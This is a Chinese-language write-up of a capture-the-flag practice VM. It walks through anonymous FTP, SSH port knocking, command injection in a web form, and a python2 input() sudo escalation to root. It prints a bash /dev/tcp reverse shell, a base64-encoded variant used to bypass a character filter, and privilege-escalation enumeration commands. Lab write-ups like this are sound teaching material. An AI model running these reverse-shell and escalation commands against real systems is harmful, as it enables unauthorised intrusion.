本文為系列文章第五篇,難度為高級(jí),本篇涉及到SSH的Knock敲門(mén)機(jī)制,命令執(zhí)行漏洞及繞過(guò),python反編譯,python的input漏洞等知識(shí),最好是懂點(diǎn)編程知識(shí),能夠看懂python代碼,這將是通過(guò)本篇靶機(jī)的1個(gè)關(guān)鍵,當(dāng)然信息收集能力仍是你最大的助力。
信息收集
對(duì)目標(biāo)進(jìn)行端口掃描,探測(cè)開(kāi)放的端口及應(yīng)用,目標(biāo)主機(jī)開(kāi)放了21,22,1337,7331端口,其中7331端口為web應(yīng)用端口。
首先關(guān)注到21端口,nmap掃描得知可匿名登錄,所以使用ftp匿名登錄上去發(fā)現(xiàn)3個(gè)txt文件,都下載到本地查看。從三個(gè)文件的信息來(lái)看,第1個(gè)信息可能是賬戶(hù)密碼,第2個(gè)提示1337端口有個(gè)小游戲,完成了會(huì)獲得獎(jiǎng)勵(lì),第3個(gè)信息是封郵件。通過(guò)第2個(gè)小游戲,編寫(xiě)計(jì)算代碼贏得獎(jiǎng)勵(lì),得知SSH的knock敲門(mén)端口。
前面到此先放著,再關(guān)注到7331的web端口,使用目錄掃描工具掃描發(fā)現(xiàn)兩個(gè)可用目錄,分別為/wish和/genie。訪(fǎng)問(wèn)/wish目錄出現(xiàn)輸入框(execute)和提交按鈕,寓意提交你想執(zhí)行的東西。那么這里就想到命令執(zhí)行,輸入id,跳轉(zhuǎn)到/genie界面,發(fā)現(xiàn)執(zhí)行了id命令。之后通過(guò)執(zhí)行反彈shell的命令去獲取目標(biāo)權(quán)限即可,只不過(guò)這里存在字符過(guò)濾,需要繞過(guò),可使用base64編碼的形式繞過(guò),最后成功拿到目標(biāo)第一個(gè)權(quán)限
提權(quán)
拿到服務(wù)器權(quán)限后一般是低權(quán)限賬號(hào),那么就需要提權(quán),通過(guò)查看當(dāng)前目錄下的文件,得知存儲(chǔ)賬戶(hù)密碼的文件路徑,找到了一對(duì)用戶(hù)名密碼。由于當(dāng)前用戶(hù)權(quán)限輸入的字符都是double輸入,自然想到通過(guò)ssh登錄更方便。結(jié)合之前SSH的knock敲門(mén)機(jī)制,先把22端口敲開(kāi),使用找到的賬戶(hù)密碼登錄上去拿到nitish用戶(hù)權(quán)限。之后通過(guò)genie的sudo提權(quán)拿到sam用戶(hù)權(quán)限,接著通過(guò)yago的sudo執(zhí)行,有4個(gè)選項(xiàng),任意輸入無(wú)果,最后通過(guò)反編譯sam目錄下的.pyc文件得知該程序的源碼,利用python的input漏洞成功提權(quán),拿到root權(quán)限。
靶機(jī)難度:高級(jí)
靶機(jī)描述:
flags:user.txt and root.txt
Description:The machine is VirtualBox as well as VMWare compatible. The DHCP willassign an IP automatically. Youll see the IP right on the loginscreen. You have to find and read two flags (user and root) which ispresent in user.txt and root.txt respectively.
Format:Virtual Machine (Virtualbox - OVA)
OperatingSystem: Linux
靶機(jī)地址:
靶機(jī)ip:192.168.1.103
用到的知識(shí)點(diǎn)、工具和漏洞:
Nmap:一款開(kāi)源的端口掃描器,用于端口掃描及服務(wù)識(shí)別
FTP匿名登錄:FTP的匿名登錄機(jī)制,可使用anonymous登錄
Dirsearch:一款目錄掃描工具,與之前介紹的dirbuster都是用作目錄掃描
命令執(zhí)行及繞過(guò):命令執(zhí)行漏洞由于代碼未對(duì)操作系統(tǒng)命令的參數(shù)進(jìn)行過(guò)濾或白名單校驗(yàn),導(dǎo)致可執(zhí)行危險(xiǎn)的系統(tǒng)命令。
Knock敲門(mén)機(jī)制:SSH的安全防護(hù)機(jī)制,需要訪(fǎng)問(wèn)設(shè)置的3個(gè)端口才能開(kāi)啟22端口
.pyc反編譯:對(duì)pyc文件反編譯得到.py源碼文件
主機(jī)探測(cè):netdiscover-i eth0 -r 192.168.1.0/24
端口探測(cè)及服務(wù)識(shí)別:nmap-sS -sV -T5 -A -p- 192.168.1.103
當(dāng)前靶機(jī)開(kāi)放了21,1337和7331端口。這里發(fā)現(xiàn)ftp可以匿名登錄,先進(jìn)去看看有什么文件。
登陸后發(fā)現(xiàn)有3個(gè)txt文件,都下載到本地看看
從三個(gè)文件的信息來(lái)看,第1個(gè)信息可能是賬戶(hù)密碼,第2個(gè)提示1337端口有個(gè)小游戲,完成了會(huì)獲得獎(jiǎng)勵(lì),第3個(gè)信息是封郵件。來(lái)看看1337的游戲是什么,使用telnet訪(fǎng)問(wèn)看看。
似乎是加減運(yùn)算,需要計(jì)算1000次才能夠完成,看來(lái)需要編寫(xiě)一個(gè)腳本去完成這個(gè)小游戲。這里使用python寫(xiě)了1個(gè)小程序去跑
運(yùn)行腳本完成后,得到3個(gè)數(shù)字??粗袷荢SH的Knock敲門(mén)機(jī)制,需要分別訪(fǎng)問(wèn)這三個(gè)端口,22端口才會(huì)開(kāi)放。
Kali上使用knock命令需先安裝Knockd,我這里已經(jīng)安裝過(guò)了,可使用apt-getinstall knockd進(jìn)行安裝。之后進(jìn)行敲門(mén)
此時(shí)22端口已經(jīng)開(kāi)放,之前有發(fā)現(xiàn)一對(duì)似乎是賬號(hào)密碼的信息,拿來(lái)嘗試一下
看來(lái)不是的,由于沒(méi)有賬戶(hù)密碼,這里就先放放。從7331的web服務(wù)入手
先掃一波目錄,這里用的dirsearch,kali上需要自行從github上下載。這里使用的1個(gè)字典SecLists也是從github上下載的
./dirsearch.py -u 192.168.1.103:7331 -e * -w
/root/zidian/SecLists/Discovery/Web-Content/raft-large-directories.txt
解釋一下參數(shù),-u后面接url,-e后面接后綴,代表所有后綴,如php,jsp,html,txt等,-w指定字典。
這里掃出兩個(gè)目錄/wish和/genie,訪(fǎng)問(wèn)一下看看。
看到這個(gè)就想到了命令執(zhí)行,先輸個(gè)id試試,果然存在命令執(zhí)行
試一下反彈shell,bash-i >& /dev/tcp/192.168.1.104/1234 0>&1,kali上使用nc監(jiān)聽(tīng)1234端口
出現(xiàn)錯(cuò)誤,看來(lái)是存在過(guò)濾。先看看過(guò)濾了哪些字符
/,&被過(guò)濾了。
那么可以試一下base64編碼繞過(guò),然后使用echo解碼執(zhí)行,使用下面這條命令
echoYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTA0LzEyMzQgMD4mMQ==| base64-d |bash
成功反彈shell。
拿到shell第1件事就是獲取一個(gè)標(biāo)準(zhǔn)shell,可通過(guò)以下命令獲取
python -c import pty; pty.spawn("/bin/bash")
先看下本目錄下有啥東西
有1個(gè)app.py文件,查看一下內(nèi)容,發(fā)現(xiàn)了1個(gè)txt文件路徑
查看一下,得到了一組用戶(hù)名密碼
前面因?yàn)橐呀?jīng)開(kāi)放了22端口,為了更方便的使用shell,越是不在此會(huì)話(huà)中切換用戶(hù),而是使用SSH登錄上去操作。
拿到nitish的權(quán)限,先進(jìn)入其home目錄下看看
拿到user.txt這個(gè)flag
下面需要進(jìn)行提權(quán),因?yàn)閯偟玫降膕hell權(quán)限較低,得想辦法獲取高權(quán)限賬戶(hù),最終獲取root權(quán)限。
最后就是如何獲取root權(quán)限,有以下幾個(gè)思路
Sudo -l 查詢(xún)具有sudo權(quán)限命令,然后提權(quán)
SUID提權(quán),find / -perm -u=s -type f 2>/dev/null
通過(guò)在/etc/passwd添加一個(gè)root權(quán)限的賬戶(hù)進(jìn)行提權(quán)
find / -writable -type f 2>/dev/null 查找可利用的可寫(xiě)文件
內(nèi)核提權(quán)
這里使用sudo-l 查詢(xún)有哪些sudo權(quán)限命令
這里需通過(guò)genie提權(quán),sudo-u sam /usr/bin/genie
這里需要加上參數(shù),我這里使用-p參數(shù)進(jìn)行提權(quán),可是沒(méi)有成功
然后使用mangenie看下該命令的使用手冊(cè)
依照使用手冊(cè),看來(lái)是使用-p,-e或者-cmd參數(shù)來(lái)執(zhí)行提權(quán)命令
于是又試了一下-e參數(shù),不過(guò)還是沒(méi)有成功
最后再試了下-cmd參數(shù),成功獲取sam用戶(hù)權(quán)限,發(fā)現(xiàn)-cmd后面參數(shù)隨便填都可以
再次使用sudo-l查詢(xún)有哪些sudo權(quán)限
通過(guò)sudo執(zhí)行,有4個(gè)選項(xiàng),每個(gè)都去嘗試了一下,沒(méi)啥作用
這樣先去看下sam目錄下有啥東西,找一下是否有其他信息提示
在sam目錄下發(fā)現(xiàn)1個(gè).pyc文件,先把它下載到本地,
.pyc文件無(wú)法直接查看,需要進(jìn)行反編譯,這里可以使用python的uncompyle進(jìn)行反編譯,需要使用pipinstall uncompyle進(jìn)行安裝
然后使用uncompyle16xxx.pyc >xxx.py進(jìn)行反編譯
之后打開(kāi)看看
發(fā)現(xiàn)這就是我們執(zhí)行sudo/root/lago時(shí)運(yùn)行的程序代碼,在我們執(zhí)行猜數(shù)流程時(shí),讓我輸入1-100的數(shù)字,當(dāng)s==num時(shí)執(zhí)行system(‘/bin/sh’),根據(jù)此代碼我們輸入num即可提權(quán)
至此,我們獲得了root權(quán)限,讀取最后一個(gè)flag
前面sudo/root/lago提權(quán)時(shí)的原理是根據(jù)python的input函數(shù)進(jìn)行提權(quán),網(wǎng)上搜了一下,這個(gè)input函數(shù)的漏洞在于,當(dāng)input函數(shù)接收的值為某個(gè)已定義的變量時(shí),將等同與此變量。
固這里我們只需輸入sum,該程序即會(huì)運(yùn)行system(‘/bin/sh’)
Knock敲門(mén)機(jī)制是SSH的1個(gè)比較好的安全防護(hù)機(jī)制,但不要泄露三個(gè)敲門(mén)端口喲。
涉及的命令執(zhí)行的代碼需要對(duì)參數(shù)進(jìn)行過(guò)濾,最好是白名單校驗(yàn)。
Python的input漏洞存在于python2中,若使用python2的話(huà)請(qǐng)記得該漏洞。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://m.hztianpu.com/yun/130051.html
摘要:本文將分享軟件基本用法及文件進(jìn)程注冊(cè)表查看,這是一款微軟推薦的系統(tǒng)監(jiān)視工具,功能非常強(qiáng)大可用來(lái)檢測(cè)惡意軟件??梢詭椭褂谜邔?duì)系統(tǒng)中的任何文件注冊(cè)表操作進(jìn)行監(jiān)視和記錄,通過(guò)注冊(cè)表和文件讀寫(xiě)的變化,有效幫助診斷系統(tǒng)故障或發(fā)現(xiàn)惡意軟件病毒及木馬。 ...
閱讀 1459·2023-01-11 13:20
閱讀 1815·2023-01-11 13:20
閱讀 1267·2023-01-11 13:20
閱讀 2007·2023-01-11 13:20
閱讀 4227·2023-01-11 13:20
閱讀 2885·2023-01-11 13:20
閱讀 1489·2023-01-11 13:20
閱讀 3814·2023-01-11 13:20